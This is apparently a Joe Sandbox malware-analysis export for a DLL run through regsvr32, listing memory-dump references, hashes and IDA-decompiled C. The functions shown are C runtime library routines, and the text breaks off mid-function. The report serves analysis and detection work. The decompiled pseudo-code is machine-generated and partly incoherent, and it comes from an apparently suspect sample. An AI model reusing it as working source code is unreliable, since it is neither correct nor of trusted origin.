0x6dadc014
0x6dadc01b
0x6dadc02e
0x6dadc035
0x6dadc037
0x6dadc038
0x6dadc03b
0x6dadc054
0x6dadc054
0x6dadc03d
0x6dadc03d
0x6dadc03f
0x6dadc049
0x6dadc050
0x6dadc052
0x6dadc059
0x6dadc062
0x6dadc065
0x6dadc066
0x6dadc068
0x6dadc07c
0x6dadc07c
0x6dadc085
0x6dadc06a
0x6dadc071
0x6dadc077
0x6dadc078
0x6dadc07a
0x6dadc08e
0x6dadc090
0x6dadc090
0x00000000
0x00000000
0x00000000
0x6dadc07a
0x6dadc093
0x00000000
0x00000000
0x00000000
0x6dadc052
0x6dadc03f
0x6dadc09b
0x6dadc0a5
0x6dadc01d
0x6dadc01f
0x6dadc01f

APIs

GetLastError.KERNEL32(00000001,?,6DADB6AF,6DADA36B,6DADA794,?,6DADA9CC,?,00000001,?,?,00000001,?,6DAF2438,0000000C,6DADAAC5), ref: 6DADC022
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6DADC030
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6DADC049
SetLastError.KERNEL32(00000000,6DADA9CC,?,00000001,?,?,00000001,?,6DAF2438,0000000C,6DADAAC5,?,00000001,?), ref: 6DADC09B

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5ab189fc845270b72f36fb7674bc79195c82aba5110d546f617696df69d0e0eb
Instruction ID: 2ddadf5e13c0edf63bcdfd15f9b5dcc02759df28b7812d991fcd99ee61c39edd
Opcode Fuzzy Hash: 5ab189fc845270b72f36fb7674bc79195c82aba5110d546f617696df69d0e0eb
Instruction Fuzzy Hash: 3B01F73612E3125EEBD516B4BD84B6B2F74FB4BBB9324432EE624500D4EF958882D584

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE33E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DAE33E0(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E6DAE3E6E(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E6DAE3E6E(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E6DAE027C(GetLastError());
									_t17 =  *((intOrPtr*)(E6DAE02B2(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E6DAE34A7(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6DAE027C(GetLastError());
						_t17 =  *((intOrPtr*)(E6DAE02B2(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E6DAE34A7(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6DAE34CE(_a8);
				return 0;
			}

0x6dae33e6
0x6dae33eb
0x6dae33ff
0x6dae3402
0x6dae3434
0x6dae343c
0x6dae343e
0x6dae3457
0x6dae345a
0x6dae345d
0x6dae346b
0x6dae347a
0x6dae3482
0x6dae3484
0x6dae349d
0x6dae34a0
0x6dae34a0
0x6dae3486
0x6dae348d
0x6dae3498
0x6dae3498
0x6dae34a2
0x6dae34a3
0x00000000
0x6dae34a3
0x6dae3462
0x6dae3467
0x6dae3469
0x00000000
0x00000000
0x00000000
0x6dae3469
0x6dae3447
0x6dae3452
0x00000000
0x6dae3452
0x6dae3404
0x6dae3407
0x6dae340a
0x6dae341d
0x6dae3420
0x6dae3422
0x6dae3424
0x00000000
0x6dae3424
0x6dae3410
0x6dae3415
0x6dae3417
0x00000000
0x00000000
0x00000000
0x6dae3417
0x6dae33f0
0x00000000

Strings

C:\Windows\SysWOW64\regsvr32.exe, xrefs: 6DAE33E5

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\regsvr32.exe
API String ID: 0-3922119987
Opcode ID: 25ecd6ae792ceb2ceaa1b4aa03d009a3c7a52ebeb462e3b596a9ea24cab25c76
Instruction ID: 0edea3e68deaece8b9c7790e975a8cddf1a302ad4cdbb7133a5e2bf8cb1ed461
Opcode Fuzzy Hash: 25ecd6ae792ceb2ceaa1b4aa03d009a3c7a52ebeb462e3b596a9ea24cab25c76
Instruction Fuzzy Hash: 0B21B07160C206AFD7129FAACD4096B77ACAE413FB7158614FA9596160EB30DCC0E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DADD0F7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DADD0F7(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x6daf53dc + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x6daecd00 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E6DAE0AC8(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x6dadd0fe
0x6dadd172
0x6dadd103
0x6dadd105
0x6dadd10c
0x6dadd110
0x6dadd119
0x6dadd128
0x6dadd131
0x6dadd135
0x6dadd17e
0x6dadd180
0x6dadd184
0x6dadd187
0x6dadd187
0x6dadd18d
0x6dadd18d
0x6dadd179
0x6dadd17d
0x6dadd17d
0x6dadd137
0x6dadd140
0x6dadd16a
0x6dadd16d
0x6dadd16f
0x6dadd16f
0x00000000
0x6dadd16f
0x6dadd142
0x6dadd14d
0x6dadd152
0x6dadd157
0x00000000
0x00000000
0x6dadd15e
0x6dadd164
0x6dadd168
0x00000000
0x00000000
0x00000000
0x6dadd168
0x6dadd115
0x00000000
0x00000000
0x00000000
0x6dadd117
0x6dadd177
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,6DADD1B8,00000000,?,00000001,00000000,?,6DADD22F,00000001,FlsFree,6DAECDBC,FlsFree,00000000), ref: 6DADD187

Strings

api-ms-, xrefs: 6DADD147

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: fbdd306085af5dbb1c02dcf228832411c2c8cd6deeef121ceb8d10812f3b448f
Instruction ID: 837775f0f6f87f7e849043e1d252743f65a77971350e0e7227529db161a508e2
Opcode Fuzzy Hash: fbdd306085af5dbb1c02dcf228832411c2c8cd6deeef121ceb8d10812f3b448f
Instruction Fuzzy Hash: 07119136A8D326BBDF528A688C40B5A3BB4EB427A0F154210F920E72C0D760E981DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6DADF05A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E6DADF05A(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x6daec164(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x6dadf060
0x6dadf064
0x6dadf06f
0x6dadf077
0x6dadf082
0x6dadf088
0x6dadf08c
0x6dadf093
0x6dadf099
0x6dadf099
0x6dadf09b
0x6dadf0a0
0x00000000
0x6dadf0a5
0x6dadf0ac

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6DADF00C,?,?,6DADEFD4,6DAD7C85,?,?), ref: 6DADF06F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6DADF082
FreeLibrary.KERNEL32(00000000,?,?,6DADF00C,?,?,6DADEFD4,6DAD7C85,?,?), ref: 6DADF0A5

Strings

mscoree.dll, xrefs: 6DADF068
CorExitProcess, xrefs: 6DADF07A

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d3c1f81a0baa4483e5b577794a27fc740b78fdc2b15738406fa2279ba292b477
Instruction ID: d07120ae372f26fb72091e34819463c43323e00ad988a40de1210bc6d241add5
Opcode Fuzzy Hash: d3c1f81a0baa4483e5b577794a27fc740b78fdc2b15738406fa2279ba292b477
Instruction Fuzzy Hash: E8F0F83590821AFFDF119B90C909BAE7E78AB81665F148065E909A2150DB308E41EB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE7962 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DAE7962(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6daf4710; // 0x6daf4760
					if(_t23 != 0) {
						E6DAE10BE(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x6daf4714; // 0x6daf59e0
					if(_t24 != 0) {
						E6DAE10BE(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x6daf4718; // 0x6daf59e0
					if(_t25 != 0) {
						E6DAE10BE(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x6daf4740; // 0x6daf4764
					if(_t26 != 0) {
						E6DAE10BE(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x6daf4744; // 0x6daf59e4
					if(_t27 != 0) {
						return E6DAE10BE(_t6);
					}
				}
				return _t6;
			}

0x6dae7968
0x6dae796d
0x6dae7971
0x6dae7977
0x6dae797a
0x6dae797f
0x6dae7983
0x6dae7989
0x6dae798c
0x6dae7991
0x6dae7995
0x6dae799b
0x6dae799e
0x6dae79a3
0x6dae79a7
0x6dae79ad
0x6dae79b0
0x6dae79b5
0x6dae79b6
0x6dae79b9
0x6dae79bf
0x00000000
0x6dae79c7
0x6dae79bf
0x6dae79ca

APIs

_free.LIBCMT ref: 6DAE797A

Part of subcall function 6DAE10BE: HeapFree.KERNEL32(00000000,00000000,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004), ref: 6DAE10D4
Part of subcall function 6DAE10BE: GetLastError.KERNEL32(00000004,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004,00000004), ref: 6DAE10E6

_free.LIBCMT ref: 6DAE798C
_free.LIBCMT ref: 6DAE799E
_free.LIBCMT ref: 6DAE79B0
_free.LIBCMT ref: 6DAE79C2

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bcf6b001cad17ef86263c0e90c988486ef2ace3034031f24ba5d9de09d794328
Instruction ID: f1ec7eaab3dcb05bd593df4da821b313d2f8c49acaece6b38e761d3a91c3fb5b
Opcode Fuzzy Hash: bcf6b001cad17ef86263c0e90c988486ef2ace3034031f24ba5d9de09d794328
Instruction Fuzzy Hash: 75F06231A0C3549BCB60DB58F3C0E3A73E9EE063943564845F4A8D7605C770F8C0E6A5

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE2D64 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E6DAE2D64(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_t20 = _t264 + 1; // 0x1
								_v20 = _t20;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E6DADF392(_t136, _t271, _v8, 1);
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E6DAE81B1(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E6DADD669();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t65 = _t239 + 1; // 0x1
										_t277 = _t65;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t68 = _t285 + 1; // 0x1
											_t225 = _t68 + _t241;
											_t300 = E6DAE10F8(_t225, 1);
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E6DAE81B1(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E6DAE334E(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E6DAE10BE(_t300);
														_t302 = _v12;
													}
													E6DAE10BE(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E6DAE81B1(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E6DADD669();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x6daf4024; // 0xde15bf56
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E6DAE8200(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E6DAE2D47(_t244 - _t287 + 1, _t287,  &_v676, E6DAE325B(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E6DAE2C78( &(_v608.cFileName),  &_v640,  &_v609, E6DAE325B(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E6DAE10BE(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E6DAE10BE(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E6DAE7C10(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E6DAE2BAE);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E6DAE10BE(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E6DADAF4F(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E6DAE10BE(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E6DAE81C0(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E6DAE10BE( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E6DAE10BE(_t283);
						goto L31;
					}
				} else {
